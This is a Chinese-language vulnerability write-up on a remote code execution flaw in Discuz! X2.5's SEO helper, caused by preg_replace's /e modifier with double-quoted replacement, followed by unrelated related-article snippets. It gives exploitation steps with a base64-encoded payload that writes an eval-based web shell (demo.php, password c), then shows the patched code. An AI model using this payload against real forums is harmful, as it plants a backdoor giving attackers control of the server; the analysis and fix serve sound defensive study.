Discuz! X2.5 /source/class/helper/helper_seo.php Remote Code Execution Vul
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
SEO模块中的preg_replace+修正符e+双引号引发的远程代码执行漏洞
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2012-06420
2. 漏洞触发条件

. 后台设置,打开SEO扩展
. 注册任意账户
. 登陆用户,发表blog日志(注意是日志)
. 添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
. 访问日志,论坛根目录下生成demo.php,一句发密码c
Relevant Link:
http://weibo.com/2242334800/ygxonqLF9?type=comment#_rnd1432431149028
http://sebug.net/vuldb/ssvid-60082
3. 漏洞影响范围
4. 漏洞代码分析
/source/class/helper/helper_seo.php
..
if($searcharray && $replacearray)
{
$_G['trunsform_tmp'] = array();
/*
1. 用于替换的$content来自于用户输入的图片地址
2. preg_place替换后的内容使用了双引号包裹
3. preg_replace的搜索正则使用了"e"修饰符
导致PHP在完成替换后,会使用eval对替换后的内容进行一次执行,又因为: eval("${${}}")这种语法可以动态执行,最终导致黑客可以远程代码注入
*/
$content = preg_replace("/(<script\s+.*?>.*?<\/script>)|(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "<relatedlink>", "\\1\\2\\3\\4", "</relatedlink>")', $content);
$content = preg_replace($searcharray, $replacearray, $content, );
$content = preg_replace("/<relatedlink>(.*?)<\/relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
..
Relevant Link:
http://www.wooyun.org/upload/201204/2620001868555ef2f2153e9b615d32467724d943.jpg
5. 防御方法
/source/class/helper/helper_seo.php
..
if($searcharray && $replacearray)
{
$_G['trunsform_tmp'] = array();
/* 修复后将双引号改为单引号,使动态语法${${}}失去执行能力 */
$content = preg_replace("/(<script\s+.*?>.*?<\/script>)|(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", "helper_seo::base64_transform('encode', '<relatedlink>', '\\1\\2\\3\\4', '</relatedlink>')", $content);
/* */
$content = preg_replace($searcharray, $replacearray, $content, );
$content = preg_replace("/<relatedlink>(.*?)<\/relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
..
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
Discuz! X2.5 /source/class/helper/helper_seo.php Remote Code Execution Vul的更多相关文章
- Discuz! x3.1 /utility/convert/index.php Code Execution Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Discuz! x3.1的插件/utility/convert/inde ...
- [附录]Discuz X2.5程序模块source功能处理目录注释
/source/admincp后台管理 /source/admincp/cloud云平台项目 /source/admincp/menu后台扩展菜单目录 /source/admincp/moderate ...
- phpcms V9 整合 Discuz! X2 教程
整合原理: UCenter 作服务端:phpsso 与 Discuz! 分别作 UCenter 的客户端应用:phpsso 与 Discuz! 通过 UCenter 发生交互. phpcms 通过 p ...
- Discuz!X2大附件上传插件-Xproer.HttpUploader6
插件代码(github):https://github.com/1269085759/up6-discuz 插件代码(coding):https://coding.net/u/xproer/p/up6 ...
- Discuz! X2.5判断会员登录状态及外部调用注册登录框
Discuz! X2.5判断会员登录状态及外部调用注册登录框 有关discuz论坛会员信息,收集的一些资料: 用dedecms+discuz做了个门户加论坛形式的网站,但是dedecms顶部目前只能q ...
- DISCUZ! X2.5设置仅允许QQ登录注册论坛 加固会员注册机制
论坛稍微有点起色之后,很多站长就会担心论坛经常被人恶意灌水.注册机.顶贴机等等一些列非法的手段.通常站长都会通过一些后台的设置和插件等等一 切有效的方法预防,但更多的站长会通过限制用户注册会员,需注册 ...
- Discuz!X2截屏控件手动安装教程-Xproer.ScreenCapture
版权所有 2009-2015 荆门泽优软件有限公司 保留所有权利 官方网站:http://www.ncmem.com 官方博客:http://www.cnblogs.com/xproer 产品首页:h ...
- 解决ngnix服务器上的Discuz!x2.5 Upload Error:413错误
1.修改php.ini sudo nano /etc/php5/fpm/php.ini #打开php.ini找到并修改以下的参数,目的是修改上传限制 max_execution_time = 900 ...
- destoon 深度整合discuz x2 UC 之免邮箱二次验证
destoon中member/my.php,信息发布入口处判断是否已在dx中做了验证,如果已经验证,则不再提示验证,否则其中dt的验证页面. 在home.php.php. group.php. for ...
随机推荐
- Kafka及 .NET Core 客户端
消息队列 Kafka 的基本知识及 .NET Core 客户端 消息队列 Kafka 的基本知识及 .NET Core 客户端 前言 最新项目中要用到消息队列来做消息的传输,之所以选着 Kafka ...
- script实现的日期表示
function clockon(bgclock){ var now=new Date(); var year=now.getYear(); var month=now.getMonth(); var ...
- 在线音乐网站【03】Part one 功能实现
今天打算把网站功能的具体实现给总结一下,如果你想了解整个小项目,建议你先看看前面2篇博客. 1.在线音乐网站(1)需求和功能结构 2.在线音乐网站(2)数据库和开发环境 7.网站主要模块实现 a.在线 ...
- PHP中JSON的跨域调用
主调文件index.html <script type="text/javascript"> function getProfile(str) { var arr = ...
- MinHash算法
MinHash是用于快速检测两个集合的相似性的方法.改方法由Andrei Broder(1997)发明,并最初用于搜索引擎AltaVista中来检测重复的网页的算法.它同样可以用于推荐系统和大规模文档 ...
- 【JavaScript】 闭包 我战战兢兢的接触了它
源:http://www.liaoxuefeng.com 1. 注意这里用了一个“创建一个匿名函数并立刻执行”的语法: (function (x) { return x * x; })(3); 理论上 ...
- 【前端积累】createElement createTextNode
<!DOCTYPE html> <html><!--树根--> <head> <meta charset="utf-8"> ...
- SpringMVC学习--拦截器
简介 Spring Web MVC 的处理器拦截器类似于Servlet 开发中的过滤器Filter,用于对处理器进行预处理和后处理. 拦截器定义 定义拦截器,实现HandlerInterceptor接 ...
- android部分开发摘要
Async 异步 不会阻塞当前线程sync 同步 数据库是应用软件|结构化数据存储 JDBC SQL ellipsis 省略 content provider URI thread--lo ...
- Django form 中文提交 错误
在文件头部添加 刻解决 import sys reload(sys) sys.setdefaultencoding("utf-8")